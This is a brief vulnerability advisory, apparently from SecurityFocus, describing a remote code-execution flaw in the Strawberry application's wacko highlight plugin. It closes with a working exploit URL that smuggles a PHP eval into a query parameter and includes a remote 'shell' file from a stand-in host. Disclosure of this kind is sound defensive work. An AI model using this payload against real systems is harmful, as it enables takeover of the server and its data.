source: https://www.securityfocus.com/bid/27160/info

Strawberry is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit will allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/strawberry/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&s=include('www.example2.com/shell');